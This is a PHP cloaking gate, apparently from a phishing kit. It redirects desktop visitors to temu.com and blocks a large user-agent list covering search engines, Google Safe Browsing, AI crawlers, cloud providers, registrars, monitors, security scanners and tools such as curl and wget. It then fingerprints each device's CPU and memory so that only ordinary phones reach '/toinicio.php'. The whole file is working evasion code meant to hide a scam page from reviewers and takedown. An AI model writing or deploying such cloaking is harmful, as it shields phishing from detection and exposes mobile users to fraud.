<?php
include('antibots/cloa.php');
session_start();
require_once 'Mobile_Detect.php';
function esPC() {
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

    // Si detecta móvil, NO es PC
    if (preg_match('/iphone|ipad|android|mobile|opera mini|iemobile|blackberry/', $ua)) {
        return false;
    }

    return true;
}

if (esPC()) {
    header("Location: https://www.temu.com/");
    exit();
} 
// ==============================
// ANTIBOT TOTAL �C BLOQUEO ABSOLUTO
// ==============================

// 1. Bloqueo por User-Agent (TODO bot)
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

// ==================================================
// LISTA TOTAL DE BOTS (SOLO BOTS, NO HUMANOS)
// ==================================================
$bot_signatures = [

  // ---------- GOOGLE (BOTS REALES) ----------
  'googlebot','adsbot-google','mediapartners-google',
  'apis-google','google-read-aloud',
  'google-safe-browsing','google-safebrowsing',
  'safebrowsing','sb-google',
  'chrome-lighthouse','lighthouse',
  'pagespeed','google page speed',

  // ---------- OTROS BUSCADORES ----------
  'bingbot','msnbot','duckduckbot',
  'yandexbot','baiduspider','seznambot',
  'applebot',

  // ---------- REDES / PREVIEWS ----------
  'facebookexternalhit','facebot',
  'whatsapp','telegrambot',
  'discordbot','slackbot',
  'twitterbot','linkedinbot','pinterest',

  // ---------- IA / LLM ----------
  'gptbot','openai','chatgpt',
  'anthropic','claude',
  'gemini','bard',
  'perplexity','youbot',
  'cohere','huggingface',
  'c.ai','character.ai',

  // ---------- HOSTING / CLOUD (BOTS) ----------
  'amazonbot',
  'googlecloud','gcp',
  'azure',
  'digitalocean',
  'ovh','hetzner','contabo','linode','vultr',
  'oraclecloud','ibmcloud',

  // ---------- REGISTRADORES / DOMINIOS ----------
  'namecheapbot','godaddybot',
  'cloudflare','cf-',
  'domains.google',
  'whois','rdap',

  // ---------- MONITOREO ----------
  'uptimerobot','pingdom','statuscake',
  'betteruptime','datadog','newrelic','site24x7',

  // ---------- SEGURIDAD / SCANNERS ----------
  'nessus','acunetix','qualys',
  'nmap','zgrab','masscan',
  'shodan','censys','securitytrails',

  // ---------- LIBRER�0�1AS / AUTOMATIZACI�0�7N ----------
  'curl','wget','python','requests','aiohttp',
  'axios','httpclient','okhttp','java',
  'go-http','libwww',
  'postman','insomnia'
];

// ==================================================
// BLOQUEO POR FIRMA DE BOT
// ==================================================
foreach ($bot_signatures as $sig) {
  if (strpos($ua, $sig) !== false) {
    http_response_code(403);
    exit;
  }
}

// ==================================================
// ANTI BOT DISFRAZADO (NO AFECTA HUMANOS)
// ==================================================
$required_headers = [
  'HTTP_ACCEPT',
  'HTTP_ACCEPT_LANGUAGE',
  'HTTP_ACCEPT_ENCODING'
];

foreach ($required_headers as $h) {
  if (empty($_SERVER[$h])) {
    http_response_code(403);
    exit;
  }
}

// JS + cookies
if (!isset($_COOKIE['human_ok'])) {
  setcookie('human_ok','1', time()+3600,'/','',false,true);
  echo '<script>location.reload()</script>';
  exit;
}

// Rate limit humano
$_SESSION['hits'] = ($_SESSION['hits'] ?? 0) + 1;
if ($_SESSION['hits'] > 120) {
  http_response_code(429);
  exit;
}



function CheckMobile(){
	$URLRedireccion = "https://ejemplo.com/";
    $detect = new \Detection\MobileDetect;
    if(!$detect->isMobile()){
		header("Location: $URLRedireccion");
    }
}



//CheckMobile();
function validarDispositivo($data) {
    // Establecer valores por defecto
    $platform = $data[0] ?? 'Unknown';
    $cpuCores = $data[1] ?? 'Unknown';
    $deviceMemory = $data[2] ?? 'Unknown';
    
    // Validar plataforma
    if (stripos($platform, 'Win32') !== false) {
        return false; // Plataforma Win32 no permitida
    }

    // Validar núcleos de CPU
    if ($cpuCores !== 'Unknown' && intval($cpuCores) >= 10) {
        return false; // CPU Cores demasiado altos
    }

    // Validar memoria del dispositivo
    if ($deviceMemory !== 'Unknown') {
        $memoryGB = floatval($deviceMemory);
        if ($memoryGB >= 16) {
            return false; // Memoria demasiado alta
        }
    }

    return true; // Validación exitosa
}

if (isset($_POST['fingerprint'])) {
    $fingerprint = htmlspecialchars($_POST['fingerprint']);
    
    // Analizar los datos del fingerprint
    $data = explode('*_*_*', $fingerprint);

    // Validar los datos del dispositivo
    $esValido = validarDispositivo($data);
    
    // Mostrar la información del fingerprint en formato HTML
    //echo "<h1>Información del Dispositivo</h1>";
    if ($esValido) {
        $deviceInfo = [
            'CPU Cores' => $data[1] ?? 'Unknown',
            'Device Memory' => $data[2] ?? 'Unknown',
            'User Agent' => $data[3] ?? 'Unknown',
            'Platform' => $data[0] ?? 'Unknown'
        ];

        /*echo "<table border='1' style='border-collapse: collapse; width: 100%;'>";
        echo "<thead><tr><th>Propiedad</th><th>Valor</th></tr></thead>";
        echo "<tbody>";
        foreach ($deviceInfo as $key => $value) {
            echo "<tr><td>$key</td><td>$value</td></tr>";
        }
        echo "</tbody>";
        echo "</table>";*/
        $_SESSION['CEL'] = true;
        header('Location: /toinicio.php');
        
        //echo "<p>El dispositivo es un movil.</p>";
    } else {
        $_SESSION['CEL'] = false;
        //echo "<p>El dispositivo es un PC.</p>";
    }
    //echo "<h2>Fingerprint Raw Data</h2>";
    //echo "<pre>$fingerprint</pre>";
    exit();
} else {
    echo "
    <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js'></script>
    <script>
    document.addEventListener('DOMContentLoaded', function() {
        // Obtener información del dispositivo
        var userAgent = navigator.userAgent;
        var platform = navigator.platform;
        var cpuCores = navigator.hardwareConcurrency || 'unknown';
        var deviceMemory = navigator.deviceMemory || 'unknown';
        
        // Crear un identificador único basado en las características del dispositivo
        var fingerprint = [   
            platform,
            cpuCores,
            deviceMemory,
            userAgent
        ].join('*_*_*');
    
        // Crear y enviar el formulario oculto
        var form = document.createElement('form');
        form.method = 'POST';
        form.action = 'index.php'; // Cambia la URL al archivo PHP de tu servidor
    
        var inputFingerprint = document.createElement('input');
        inputFingerprint.type = 'hidden';
        inputFingerprint.name = 'fingerprint';
        inputFingerprint.value = fingerprint;
        form.appendChild(inputFingerprint);
    
        document.body.appendChild(form);
        form.submit();
    });
    </script>";
}
?>
